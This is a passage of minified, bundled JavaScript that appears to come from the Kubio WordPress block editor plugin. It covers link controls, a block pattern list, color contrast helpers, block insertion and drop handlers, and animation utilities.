m&&(t={placement:"left-start",offset:36,shift:!0}),Object(r.createElement)(r.Fragment,null,p.map(((e,p)=>{var g;const h={clearable:!1,colorValue:e.colorValue,colors:n,disableCustomColors:l,disableCustomGradients:c,enableAlpha:u,gradientValue:e.gradientValue,gradients:b,label:e.label,onColorChange:e.onColorChange,onGradientChange:e.onGradientChange,showTitle:!1,__experimentalIsRenderedInSidebar:m,...e},v={colorValue:null!==(g=e.gradientValue)&&void 0!==g?g:e.colorValue,label:e.label};return e&&Object(r.createElement)(s,Object(o.a)({key:p,setting:e},f),Object(r.createElement)(i.Dropdown,{popoverProps:t,className:"block-editor-tools-panel-color-gradient-settings__dropdown",renderToggle:d(v),renderContent:()=>Object(r.createElement)(i.__experimentalDropdownContentWrapper,{paddingSize:"none"},Object(r.createElement)("div",{className:"block-editor-panel-color-gradient-settings__dropdown-content"},Object(r.createElement)(a.a,h)))}))})))}},function(e,t,n){"use strict";var o=n(0),r=n(13),l=n.n(r),c=n(3),i=n(1),a=n(42),s=n(27);const u=()=>{};var d=e=>{let{value:t,onChange:n=u,settings:r}=e;if(!r||!r.length)return null;const l=e=>o=>{n({...t,[e.id]:o})},a=r.map((e=>Object(o.createElement)(c.ToggleControl,{className:"block-editor-link-control__setting",key:e.id,label:e.title,onChange:l(e),checked:!!t&&!!t[e.id]})));return Object(o.createElement)("fieldset",{className:"block-editor-link-control__settings"},Object(o.createElement)(c.VisuallyHidden,{as:"legend"},Object(i.__)("Currently selected link settings","kubio")),a)},b=n(241),p=n(35),m=n(120),f=n(5),g=Object(o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(f.Path,{d:"M12 3.2c-4.8 0-8.8 3.9-8.8 8.8 0 4.8 3.9 8.8 8.8 8.8 4.8 0 8.8-3.9 8.8-8.8 0-4.8-4-8.8-8.8-8.8zm0 16c-4 0-7.2-3.3-7.2-7.2C4.8 8 8 4.8 12 4.8s7.2 3.3 7.2 7.2c0 4-3.2 7.2-7.2 7.2zM11 17h2v-6h-2v6zm0-8h2V7h-2v2z"})),h=n(680),v=n(372),O=n(414);const{Slot:k,Fill:j}=Object(c.createSlotFill)("BlockEditorLinkControlViewer");var _=n(14),y=n(7);function E(e,t){switch(t.type){case"RESOLVED":return{...e,isFetching:!1,richData:t.richData};case"ERROR":return{...e,isFetching:!1,richData:null};case"LOADING":return{...e,isFetching:!0};default:throw new Error(`Unexpected action type ${t.type}`)}}var S=function(e){const[t,n]=Object(o.useReducer)(E,{richData:null,isFetching:!1}),{fetchRichUrlData:r}=Object(y.useSelect)((e=>{const{getSettings:t}=e(_.a);return{fetchRichUrlData:t().__experimentalFetchRichUrlData}}),[]);return Object(o.useEffect)((()=>{if(null!=e&&e.length&&r&&"undefined"!=typeof AbortController){n({type:"LOADING"});const t=new window.AbortController,o=t.signal;return r(e,{signal:o}).then((e=>{n({type:"RESOLVED",richData:e})})).catch((()=>{o.aborted||n({type:"ERROR"})})),()=>{t.abort()}}}),[e]),t};function C(e){var t;let{value:n,onEditClick:r,hasRichPreviews:s=!1,hasUnlinkControl:u=!1,onRemove:d}=e;const b=s?null==n?void 0:n.url:null,{richData:f,isFetching:j}=S(b),_=f&&Object.keys(f).length,y=n&&Object(p.filterURLForDisplay)(Object(p.safeDecodeURI)(n.url),16)||"",E=(null==f?void 0:f.title)||(null==n?void 0:n.title)||y,C=!(null!=n&&null!==(t=n.url)&&void 0!==t&&t.length);let w;return w=null!=f&&f.icon?Object(o.createElement)("img",{src:null==f?void 0:f.icon,alt:""}):C?Object(o.createElement)(m.a,{icon:g,size:32}):Object(o.createElement)(m.a,{icon:h.a}),Object(o.createElement)("div",{"aria-label":Object(i.__)("Currently selected","kubio"),className:l()("block-editor-link-control__search-item",{"is-current":!0,"is-rich":_,"is-fetching":!!j,"is-preview":!0,"is-error":C})},Object(o.createElement)("div",{className:"block-editor-link-control__search-item-top"},Object(o.createElement)("span",{className:"block-editor-link-control__search-item-header"},Object(o.createElement)("span",{className:l()("block-editor-link-control__search-item-icon",{"is-image":null==f?void 0:f.icon})},w),Object(o.createElement)("span",{className:"block-editor-link-control__search-item-details"},C?Object(o.createElement)("span",{className:"block-editor-link-control__search-item-error-notice"},Object(i.__)("Link is empty","kubio")):Object(o.createElement)(o.Fragment,null,Object(o.createElement)(c.ExternalLink,{className:"block-editor-link-control__search-item-title",href:n.url},Object(a.__unstableStripHTML)(E)),(null==n?void 0:n.url)&&Object(o.createElement)("span",{className:"block-editor-link-control__search-item-info"},y)))),Object(o.createElement)(c.Button,{icon:v.a,label:Object(i.__)("Edit","kubio"),className:"block-editor-link-control__search-item-action",onClick:r,iconSize:24}),u&&Object(o.createElement)(c.Button,{icon:O.a,label:Object(i.__)("Unlink","kubio"),className:"block-editor-link-control__search-item-action block-editor-link-control__unlink",onClick:d,iconSize:24}),Object(o.createElement)(k,{fillProps:n})),!!(_&&(null!=f&&f.image||null!=f&&f.description)||j)&&Object(o.createElement)("div",{className:"block-editor-link-control__search-item-bottom"},((null==f?void 0:f.image)||j)&&Object(o.createElement)("div",{"aria-hidden":!(null!=f&&f.image),className:l()("block-editor-link-control__search-item-image",{"is-placeholder":!(null!=f&&f.image)})},(null==f?void 0:f.image)&&Object(o.createElement)("img",{src:null==f?void 0:f.image,alt:""})),((null==f?void 0:f.description)||j)&&Object(o.createElement)("div",{"aria-hidden":!(null!=f&&f.description),className:l()("block-editor-link-control__search-item-description",{"is-placeholder":!(null!=f&&f.description)})},(null==f?void 0:f.description)&&Object(o.createElement)(c.__experimentalText,{truncate:!0,numberOfLines:"2"},f.description))))}const w=e=>{let t=!1;return{promise:new Promise(((n,o)=>{e.then((e=>t?o({isCanceled:!0}):n(e)),(e=>o(t?{isCanceled:!0}:e)))})),cancel(){t=!0}}};function B(e){const[t,n]=Object(o.useState)(e||"");return Object(o.useEffect)((()=>{e&&e!==t&&n(e)}),[e]),[t,n]}var I=n(88);const x=()=>{};function T(e){var t,n,r;let{searchInputPlaceholder:u,value:p,settings:m=I.b,onChange:f=x,onRemove:g,onCancel:h,noDirectEntry:v=!1,showSuggestions:O=!0,showInitialSuggestions:k,forceIsEditingLink:j,createSuggestion:_,withCreateSuggestion:y,inputValue:E="",suggestionsQuery:S={},noURLSuggestion:T=!1,createSuggestionButtonText:N,hasRichPreviews:M=!1,hasTextControl:P=!1,renderControlBottom:L=null}=e;void 0===y&&_&&(y=!0);const R=Object(o.useRef)(!0),A=Object(o.useRef)(),D=Object(o.useRef)(),F=Object(o.useRef)(!1),[z,V]=B((null==p?void 0:p.url)||""),[H,G]=B((null==p?void 0:p.title)||""),[$,U]=Object(o.useState)(void 0!==j?j:!p||!p.url),{createPage:W,isCreatingPage:K,errorMessage:q}=function(e){const t=Object(o.useRef)(),[n,r]=Object(o.useState)(!1),[l,c]=Object(o.useState)(null);return Object(o.useEffect)((()=>()=>{t.current&&t.current.cancel()}),[]),{createPage:async function(n){r(!0),c(null);try{return t.current=w(Promise.resolve(e(n))),await t.current.promise}catch(e){if(e&&e.isCanceled)return;throw c(e.message||Object(i.__)("An unknown error occurred during creation. Please try again.","kubio")),e}finally{r(!1)}},isCreatingPage:n,errorMessage:l}}(_);Object(o.useEffect)((()=>{void 0!==j&&j!==$&&U(j)}),[j]),Object(o.useEffect)((()=>{if(R.current)return void(R.current=!1);const e=null!=D&&D.current?1:0;(a.focus.focusable.find(A.current)[e]||A.current).focus(),F.current=!1}),[$,K]);const Y=(null==p||null===(t=p.url)||void 0===t||null===(n=t.trim())||void 0===n?void 0:n.length)>0,Q=()=>{var e;F.current=!(null===(e=A.current)||void 0===e||!e.contains(A.current.ownerDocument.activeElement)),U(!1)},X=()=>{Z===(null==p?void 0:p.url)&&H===(null==p?void 0:p.title)||f({...p,url:Z,title:H}),Q()},Z=E||z,J=!(null!=Z&&null!==(r=Z.trim())&&void 0!==r&&r.length),ee=g&&p&&!$&&!K,te=!(null==m||!m.length),ne=Y&&P,oe=($||!p)&&!K;return Object(o.createElement)("div",{tabIndex:-1,ref:A,className:"block-editor-link-control"},K&&Object(o.createElement)("div",{className:"block-editor-link-control__loading"},Object(o.createElement)(c.Spinner,null)," ",Object(i.__)("Creating","kubio"),"…"),oe&&Object(o.createElement)(o.Fragment,null,Object(o.createElement)("div",{className:l()({"block-editor-link-control__search-input-wrapper":!0,"has-text-control":ne})},ne&&Object(o.createElement)(c.TextControl,{__nextHasNoMarginBottom:!0,ref:D,className:"block-editor-link-control__field block-editor-link-control__text-content",label:"Text",value:H,onChange:G,onKeyDown:e=>{const{keyCode:t}=e;t!==s.ENTER||J||(e.preventDefault(),X())}}),Object(o.createElement)(b.a,{currentLink:p,className:"block-editor-link-control__field block-editor-link-control__search-input",placeholder:u,value:Z,withCreateSuggestion:y,onCreateSuggestion:W,onChange:V,onSelect:e=>{f({...e,title:H||(null==e?void 0:e.title)}),Q()},showInitialSuggestions:k,allowDirectEntry:!v,showSuggestions:O,suggestionsQuery:S,withURLSuggestion:!T,createSuggestionButtonText:N,useLabel:ne})),q&&Object(o.createElement)(c.Notice,{className:"block-editor-link-control__search-error",status:"error",isDismissible:!1},q)),p&&!$&&!K&&Object(o.createElement)(C,{key:null==p?void 0:p.url,value:p,onEditClick:()=>U(!0),hasRichPreviews:M,hasUnlinkControl:ee,onRemove:g}),Object(o.createElement)("div",{className:"block-editor-link-control__drawer"},te&&Object(o.createElement)("div",{className:"block-editor-link-control__tools"},Object(o.createElement)(d,{value:p,settings:m,onChange:f})),oe&&Object(o.createElement)("div",{className:"block-editor-link-control__search-actions"},Object(o.createElement)(c.Button,{variant:"primary",onClick:X,className:"xblock-editor-link-control__search-submit",disabled:J},Object(i.__)("Apply","kubio")),Object(o.createElement)(c.Button,{variant:"tertiary",onClick:e=>{e.preventDefault(),e.stopPropagation(),V(null==p?void 0:p.url),G(null==p?void 0:p.title),Y?Q():null==g||g(),null==h||h()}},Object(i.__)("Cancel","kubio")))),L&&L())}T.ViewerFill=j,t.a=T},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(33),c=n(29),i=n(12),a=n(3),s=n(11),u=n(1),d=n(13),b=n.n(d),p=n(2),m=n.n(p),f=n(91),g=n(248),h=n(7),v=n(24),O=n(17),k=n(19),j=n(314);const _="__experimentalBlockPatterns",y=e=>{let{containerRef:t,pattern:n,onClose:o}=e;const l=Object(r.useRef)();return Object(k.useOnClickOutside)(l,o),Object(r.createElement)(a.Popover,{className:"kubio-options-popover kubio-remove-section-popover",anchorRef:t,position:"top center",offset:6},Object(r.createElement)("div",{className:"kubio-remove-section-popover-inner",role:"button",tabIndex:0,ref:l,onMouseDown:e=>{e.stopPropagation()}},Object(r.createElement)(a.Placeholder,{className:"wp-block-navigation-placeholder kubio-remove-section-placeholder"},(null==n?void 0:n.title)&&Object(r.createElement)("div",{className:"kubio-remove-section-popover__header"},Object(r.createElement)("h1",{className:"kubio-remove-section-popover__header-heading"},Object(u.__)("Remove ","kubio")+(null==n?void 0:n.title)+Object(u.__)(" section?","kubio")),Object(r.createElement)(a.Button,{onClick:o,icon:j.a})),Object(r.createElement)("p",null,Object(u.__)("This will permanently delete the custom section.","kubio")),Object(r.createElement)(a.ButtonGroup,{className:"kubio-remove-section-popover__button-group"},Object(r.createElement)(a.Button,{isLink:!0,onClick:o},Object(u.__)("Cancel","kubio")),Object(r.createElement)(a.Button,{isPrimary:!0,onClick:async()=>{await E(null==n?void 0:n.name),o()}},Object(u.__)("Delete","kubio"))))))},E=e=>{const t=e.split("/").pop();Object(h.dispatch)("core").deleteEntityRecord("postType","kubio_section",parseInt(t));const n=Object(h.select)(v.STORE_KEY).getSettings(),o=n[_].filter((t=>t.name!==e)),{updateSettings:r}=Object(h.dispatch)(v.STORE_KEY);r({...n,[_]:o})};var S=n(100);function C(e){let{pattern:t,onClick:n,composite:d,isFrontPage:h}=e;const{content:v,viewportWidth:k,isGutentagPattern:j}=t,_=Object(r.useMemo)((()=>t.isGutentagPattern?v:t.blocks?t.blocks:Object(p.isString)(v)?Object(i.parse)(v):v),[v]),E=`block-editor-block-patterns-list__item-description-${Object(s.useInstanceId)(C)}`,w=Object(l.useSetGlobalSessionProp)("headerColorPalette.colibriPalette"),B=()=>{n(t,_);const e=m.a.get(t,"categories",[]),o=m.a.get(t,["context","theme","colors"]);e.includes("kubio-header/headers")&&o&&h&&w(o)},I=Object(r.useRef)(),[x,T]=Object(r.useState)(!1),N=Object(r.useCallback)((()=>{T(!x)}),[x,T]);let M="section-inserter";if(Object(p.isArray)(t.content)){const e=Object(p.get)(t,"content.0",null);e&&(M=e.replace("kubio/","")+"-inserter")}const P=Object(r.useMemo)((()=>Object(r.createElement)(r.Fragment,null,Object(r.createElement)(c.ProItem,Object(o.a)({tag:a.__unstableCompositeItem,item:t,role:"option",as:"div"},d,{className:b()("block-editor-block-patterns-list__item",t.isCustomSection?"custom-section-item":""),urlArgs:{source:M,content:t.title},onClick:B}),j&&(null==t?void 0:t.screenshot)&&Object(r.createElement)(r.Fragment,null,Object(r.createElement)("img",{alt:t.title,src:null==t?void 0:t.screenshot,draggable:"false",className:"block-editor-block-patterns-list__item__screenshot"})),j&&(null==t?void 0:t.isCustomSection)&&Object(r.createElement)(r.Fragment,null,Object(r.createElement)("div",{className:"block-editor-block-patterns-list__item-title"},Object(r.createElement)("span",{className:"title"},Object(S.decodeEntities)(null==t?void 0:t.title)),Object(r.createElement)(a.Button,{isSmall:!0,icon:O.DeleteItemIcon,className:"icon-close",onClick:e=>{e.stopPropagation(),N()},showTooltip:!0,tooltipPosition:"top left",label:Object(u.__)("Remove section","kubio")}))),!j&&Object(r.createElement)(r.Fragment,null,Object(r.createElement)(f.a,{blocks:_,viewportWidth:k}),Object(r.createElement)("div",{className:"block-editor-block-patterns-list__item-title"},t.title),!!t.description&&Object(r.createElement)(a.VisuallyHidden,{id:E},t.description))))),[]);return Object(r.createElement)(g.a,{isEnabled:!j,blocks:_},(e=>{let{draggable:n,onDragStart:o,onDragEnd:l}=e;return Object(r.createElement)(r.Fragment,null,Object(r.createElement)(a.Tooltip,{text:t.title},Object(r.createElement)("div",{ref:I,className:b()("block-editor-block-patterns-list__list-item"),"aria-label":t.title,"aria-describedby":t.description?E:void 0,draggable:n,onDragStart:o,onDragEnd:l},P)),x&&Object(r.createElement)(y,{containerRef:null==I?void 0:I.current,pattern:t,onClose:()=>T(!1)}))}))}t.a=function(e){let{blockPatterns:t=[],onClickPattern:n,orientation:l,label:c=Object(u.__)("Block Patterns","kubio")}=e;const i=Object(a.__unstableUseCompositeState)({orientation:l}),s=Object(h.useSelect)((e=>{const{getIsFrontPage:t=m.a.noop}=e(v.STORE_KEY)||{};return t()}),[]);return Object(r.createElement)(a.__unstableComposite,Object(o.a)({},i,{role:"listbox",className:"block-editor-block-patterns-list","aria-label":c}),t.map((e=>Object(r.createElement)(C,{key:e.name,pattern:e,onClick:n,composite:i,isFrontPage:s}))))}},function(e,t,n){"use strict";var o=function(e){var t=e/255;return t<.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},r=function(e){return.2126*o(e.r)+.7152*o(e.g)+.0722*o(e.b)};t.a=function(e){e.prototype.luminance=function(){return e=r(this.rgba),void 0===(t=2)&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*e)/n+0;var e,t,n},e.prototype.contrast=function(t){void 0===t&&(t="#FFF");var n,o,l,c,i,a,s,u=t instanceof e?t:new e(t);return c=this.rgba,i=u.toRgb(),n=(a=r(c))>(s=r(i))?(a+.05)/(s+.05):(s+.05)/(a+.05),void 0===(o=2)&&(o=0),void 0===l&&(l=Math.pow(10,o)),Math.floor(l*n)/l+0},e.prototype.isReadable=function(e,t){return void 0===e&&(e="#FFF"),void 0===t&&(t={}),this.contrast(e)>=(c=void 0===(l=(n=t).size)?"normal":l,"AAA"===(r=void 0===(o=n.level)?"AA":o)&&"normal"===c?7:"AA"===r&&"large"===c?3:4.5);var n,o,r,l,c}}},function(e,t,n){"use strict";n.d(t,"a",(function(){return c}));var o=n(7),r=n(68),l=n(14);function c(){const{isSelected:e,clientId:t,name:n}=Object(r.c)();return Object(o.useSelect)((o=>{if(e)return!0;const{getBlockName:r,isFirstMultiSelectedBlock:c,getMultiSelectedBlockClientIds:i}=o(l.a);return!!c(t)&&i().every((e=>r(e)===n))}),[t,e,n])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return s}));var o=n(0);const{clearTimeout:r,setTimeout:l}=window,c=()=>{},i=200;function a(e){let{ref:t,isFocused:n,debounceTimeout:a=i,onChange:s=c}=e;const[u,d]=Object(o.useState)(!1),b=Object(o.useRef)(),p=e=>{null!=t&&t.current&&d(e),s(e)},m=()=>{const e=b.current;e&&r&&r(e)};return Object(o.useEffect)((()=>()=>{p(!1),m()}),[]),{showMovers:u,debouncedShowMovers:e=>{e&&e.stopPropagation(),m(),u||p(!0)},debouncedHideMovers:e=>{e&&e.stopPropagation(),m(),b.current=l((()=>{(()=>{const e=(null==t?void 0:t.current)&&t.current.matches(":hover");return!n&&!e})()&&p(!1)}),a)}}}function s(e){let{ref:t,debounceTimeout:n=i,onChange:r=c}=e;const[l,s]=Object(o.useState)(!1),{showMovers:u,debouncedShowMovers:d,debouncedHideMovers:b}=a({ref:t,debounceTimeout:n,isFocused:l,onChange:r}),p=Object(o.useRef)(!1),m=()=>(null==t?void 0:t.current)&&t.current.contains(t.current.ownerDocument.activeElement);return Object(o.useEffect)((()=>{const e=t.current,n=()=>{m()&&(s(!0),d())},o=()=>{m()||(s(!1),b())};return e&&!p.current&&(e.addEventListener("focus",n,!0),e.addEventListener("blur",o,!0),p.current=!0),()=>{e&&(e.removeEventListener("focus",n),e.removeEventListener("blur",o))}}),[t,p,s,d,b]),{showMovers:u,gestures:{onMouseMove:d,onMouseLeave:b}}}},function(e,t,n){"use strict";n.d(t,"a",(function(){return s}));var o=n(49),r=n(12),l=n(7),c=n(42),i=n(0),a=n(14);function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const s=Object(o.useUIVersion)(),{operation:u="insert"}=n,d=Object(l.useSelect)((e=>e(a.a).getSettings().mediaUpload),[]),{canInsertBlockType:b,getBlockIndex:p,getClientIdsOfDescendants:m,getBlockOrder:f,getBlocksByClientId:g}=Object(l.useSelect)(a.a),{insertBlocks:h,moveBlocksToPosition:v,updateBlockAttributes:O,clearSelectedBlock:k,replaceBlocks:j,removeBlocks:_}=Object(l.useDispatch)(a.a),y=Object(l.useRegistry)(),E=Object(i.useCallback)((function(n){let o=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;if("replace"===u){const o=f(e)[t];j(o,n,void 0,r)}else h(n,t,e,o,r)}),[u,f,h,j,t,e]),S=Object(i.useCallback)(((n,o,r)=>{if("replace"===u){const o=g(n),r=f(e)[t];y.batch((()=>{_(n,!1),j(r,o,void 0,0)}))}else v(n,o,e,r)}),[u,f,g,h,v,_,t,e]),C=function(e,t,n,o,l,c,i,a){return s=>{const{srcRootClientId:u,srcClientIds:d,type:b,blocks:p}=function(e){let t={srcRootClientId:null,srcClientIds:null,srcIndex:null,type:null,blocks:null};if(!e.dataTransfer)return t;try{t=Object.assign(t,JSON.parse(e.dataTransfer.getData("wp-blocks")))}catch(e){return t}return t}(s);if("inserter"===b){const e=1===a;1===a&&i();const t=p.map((e=>Object(r.cloneBlock)(e)));c(t,e,null)}if("block"===b){const r=n(d[0]);if(u===e&&r===t)return;if(d.includes(e)||o(d).some((t=>t===e)))return;const c=u===e,i=d.length;l(d,u,c&&r<t?t-i:t)}}}(e,t,p,m,S,E,k,s),w=function(e,t,n,o,l,c){return t=>{if(!n)return;const i=Object(r.findTransform)(Object(r.getBlockTransforms)("from"),(n=>"files"===n.type&&l(n.blockName,e)&&n.isMatch(t)));if(i){const e=i.transform(t,o);c(e)}}}(e,0,d,O,b,E),B=function(e,t,n){return e=>{const t=Object(r.pasteHandler)({HTML:e,mode:"BLOCKS"});t.length&&n(t)}}(0,0,E);return e=>{const t=Object(c.getFilesFromDataTransfer)(e.dataTransfer),n=e.dataTransfer.getData("text/html");n?B(n):t.length?w(t):C(e)}}},function(e,t,n){"use strict";var o=n(19),r=n(12),l=n(7),c=n(0),i=n(1),a=n(69),s=n(2),u=n.n(s),d=n(14);const b=(e,t)=>top.requestIdleCallback((()=>{var n;null===(n=e.querySelector(`[data-block="${t}"]`))||void 0===n||n.scrollIntoView({behavior:"smooth"})})),p={header:"kubio/header",footer:"kubio/footer",sidebar:"kubio/sidebar"};t.a=function(e){let{rootClientId:t=null,insertionIndex:n=null,clientId:m=null,isAppender:f=!1,onSelect:g,shouldFocusBlock:h=!0,shouldSelectBlock:v=!0,ownerDocument:O,kubioInsertPosition:k}=e;const[j,_]=Object(c.useState)(!1),[y,E]=Object(c.useState)([]),{destinationRootClientId:S,destinationIndex:C,getSelectedBlock:w,getBlockOrder:B,patternRootClientId:I,patternRootBlock:x,patternCategories:T,getClientIdsOfDescendants:N,getClientIdsWithDescendants:M,getBlock:P,getBlockParentId:L,canInsertBlockType:R,getBlockIndex:A,isFSEFrontPageWithoutFrontPageTemplate:D,shouldReplace:F,closeOnInsert:z}=Object(l.useSelect)((e=>{var o,r,l;const{getSelectedBlock:c,getBlockIndex:i,getBlockOrder:a,getClientIdsOfDescendants:b,getBlockRootClientId:p,getClientIdsWithDescendants:g,getBlock:h,getSelectedBlockClientId:v,canInsertBlockType:O}=e(d.a);let k,j;const _=v();(t||n||m||f)&&(k=t,Object(s.isNumber)(n)?j=n:m?j=i(m,k):!f&&_?(k=p(_),j=i(_,k)+1):j=a(k).length);const y=e("kubio/edit-site").getOpenedInsertedClientId();y&&(k=y);const{__experimentalBlockPatternCategories:E}=e("core/block-editor").getSettings();let S=e("kubio/edit-site").getOpenedInsertedClientId();var C;S||(S=null===(C=Object(s.find)(g().map(h),{name:"core/post-content"}))||void 0===C?void 0:C.clientId);const w=h(S),{getEditedEntityRecord:B}=e("core"),{getTemplateId:I=u.a.noop,getPage:x=u.a.noop,getSettings:T=u.a.noop}=e("kubio/edit-site")||{},N=B("root","site"),M=(null==N?void 0:N.page_on_front)===(null===(o=x())||void 0===o||null===(r=o.context)||void 0===r?void 0:r.postId),P=I(),L=null==P?void 0:P.split("//"),R="front-page"===u.a.get(L,"[1]");return{getSelectedBlock:c,destinationRootClientId:k,destinationIndex:j,getBlockOrder:a,patternRootClientId:S,patternRootBlock:w,patternCategories:E,getClientIdsOfDescendants:b,getClientIdsWithDescendants:g,getBlock:h,getBlockParentId:p,canInsertBlockType:O,getBlockIndex:i,isFSEFrontPageWithoutFrontPageTemplate:(null===(l=T())||void 0===l?void 0:l.supportsTemplateMode)&&M&&!R,shouldReplace:e("kubio/edit-site").getOpenedInsertedShouldReplace(),closeOnInsert:e("kubio/edit-site").getOpenedInsertedShouldCloseOnSelect()}}),[t,n,m,f]),{replaceBlocks:V,insertBlocks:H,selectBlock:G,showInsertionPoint:$,replaceBlock:U,hideInsertionPoint:W,updateBlockAttributes:K,replaceInnerBlocks:q,__unstableMarkNextChangeAsNotPersistent:Y}=Object(l.useDispatch)(d.a),{editEntityRecord:Q}=Object(l.useDispatch)("core"),{setOpenInserter:X}=Object(l.useDispatch)("kubio/edit-site");function Z(){_(!1)}const J=Object(c.useRef)(I),{createWarningNotice:ee}=Object(l.useDispatch)(a.store),te=Object(c.useCallback)((function(e){const t=arguments.length>1&&void 0!==arguments[1]&&arguments[1]?N([I]):[],n=M().filter((e=>-1===t.indexOf(e))).map((e=>{var t,n;return null===(t=P(e))||void 0===t||null===(n=t.attributes)||void 0===n?void 0:n.anchor})).filter(Boolean),r=Object(o.slugify)(e);let l=0,c="";for(;-1!==n.indexOf(`${r}${c}`);)l++,c=`-${l}`;return{name:l?`${e} ${l}`:e,anchor:`${r}${c}`}}),[N,M,I,P]),ne=Object(c.useCallback)((function(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const o=w();if(!f&&o&&Object(r.isUnmodifiedDefaultBlock)(o))V(o.clientId,e,null,h||n?0:null,t);else{let o=S,r=C;const c=Object(s.castArray)(e).map((e=>e.name));if(!o){var l;const e=null===(l=w())||void 0===l?void 0:l.clientId;c.reduce(((t,n)=>t&&R(n,e)),!0)?o=e:(o=L(e),r=A(e,o))}if(!c.reduce(((e,t)=>e&&R(t,o)),!0))return ee(Object(i.__)("Please drag the block to the desired location","kubio"),{type:"snackbar"});"begin"===k&&(r=0),"end"===k&&(r=B(o).length),H(e,r,o,v,h||n?0:null,t)}}),[f,w,V,H,S,C,v,h,k,B,R,A]),oe=Object(c.useCallback)(((e,t,n)=>{const o=w();if(!f&&o&&Object(r.isUnmodifiedDefaultBlock)(o))V(o.clientId,e,null,h||n?0:null,t);else{if(!S)return ee(Object(i.__)("Please select a container block ( like a column ) before inserting patterns","kubio"),{type:"snackbar"});H(e,C,S,!0,h||n?0:null,t)}g&&g()}),[f,w,V,H,S,C,h]),re=Object(c.useCallback)((async function(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const{area:o="content",pattern:l={}}=t;if(null!=l&&l.isGutentagPattern){if(!l.isProOnFree)if(e=Object(s.castArray)(e),-1!==["header","footer"].indexOf(o)){const{attributes:t,innerBlocks:n}=Object(s.castArray)(e)[0],l=n.map((e=>{let t=Object(i.__)("Header Section","kubio");switch("footer"===o&&(t=Object(i.__)("Footer Section","kubio")),e.name){case"kubio/navigation":t=Object(i.__)("Navigation","kubio");break;case"kubio/hero":t=Object(i.__)("Hero","kubio")}const{anchor:n,name:r}=te(t,!0);return{...e,attributes:{...e.attributes,anchor:n,attrs:{...e.attributes.attrs,name:r}}}}));if(["header","footer"].includes(I)||D)return _(!0),void E(l);const c=Object(s.omit)(t,["kubio.hash","kubio.id","kubio.styleRef","tagName"]);if(Object(s.isEqual)(c,{kubio:{}})||(Y(),K(I,t)),p[o]&&x&&(null==x?void 0:x.name)!==p[o]){const e=["attributes","slug"],t={slug:Object(s.get)(x,e)},n=Object(r.createBlock)(p[o],t);await q(I,l),await U(I,n),G(null==n?void 0:n.clientId),b(O,null==n?void 0:n.clientId)}else{const e={blocks:l,content:e=>{let{blocks:t=[]}=e;return Object(r.__unstableSerializeAndClean)(t)}},{theme:t,slug:n}=x.attributes;Q("postType","wp_template_part",`${t}//${n}`,e),b(O,I)}}else{var c,a,u,d;const{categories:t}=l,n=null!==(c=null==t?void 0:t[0])&&void 0!==c?c:"__undefined__category__",o=null!==(a=null===(u=Object(s.find)(T,{name:n}))||void 0===u?void 0:u.label)&&void 0!==a?a:"Custom Section",{anchor:r,name:i}=te(o),p=Object(s.map)(e,(e=>("kubio/section"===e.name&&(e={...e,attributes:{...e.attributes,anchor:r,attrs:{...e.attributes.attrs,name:i}}}),e)));let m=B(I).length;-1!==l.categories.indexOf("kubio-content/overlappable")&&(m=0),F?(V(J.current,p),J.current=p[0].clientId):H(p,m,I,!1),z&&X(!1),b(O,null===(d=e[0])||void 0===d?void 0:d.clientId)}}else oe(e,t,n)}),[I,x,te,K,q,H,B,T,F]),le=Object(c.useCallback)((function(e,t){var n;let r=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if(Object(o.isGutentagPrefixed)(null===(n=Object(s.castArray)(e)[0])||void 0===n?void 0:n.name)&&(e=Object(o.refreshBlockStyleRefs)(e)),null!=t&&t.patternName)re(e,t,r);else{if(!S&&!w())return void ee(Object(i.__)("Please drag the block to the desired location","kubio"),{type:"snackbar"});ne(e,t,r),g&&g()}}),[re,ne]),ce=Object(c.useCallback)((e=>{e?$(S,C):W()}),[$,W,S,C,y]);return[S,le,ce,{showCreateTemplateModal:j,onCloseTemplateModal:Z,onCreateTemplate:function(){Z(),X(!1)},newTemplateData:y,patternRootClientId:I,isFSEFrontPageButDoesNotHaveFrontPageTemplate:D}]}},function(e,t,n){"use strict";n.d(t,"animated",(function(){return y}));var o=n(231);n.o(o,"useSpring")&&n.d(t,"useSpring",(function(){return o.useSpring}));var r=n(64),l=n(20),c=n(65);function i(e,t){if(null==e)return{};var n,o,r={},l=Object.keys(e);for(o=0;o<l.length;o++)n=l[o],t.indexOf(n)>=0||(r[n]=e[n]);return r}const a=["style","children","scrollTop","scrollLeft"],s=/^--/;function u(e,t){return null==t||"boolean"==typeof t||""===t?"":"number"!=typeof t||0===t||s.test(e)||b.hasOwnProperty(e)&&b[e]?(""+t).trim():t+"px"}const d={};let b={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0};const p=["Webkit","Ms","Moz","O"];b=Object.keys(b).reduce(((e,t)=>(p.forEach((n=>e[((e,t)=>e+t.charAt(0).toUpperCase()+t.substring(1))(n,t)]=e[t])),e)),b);const 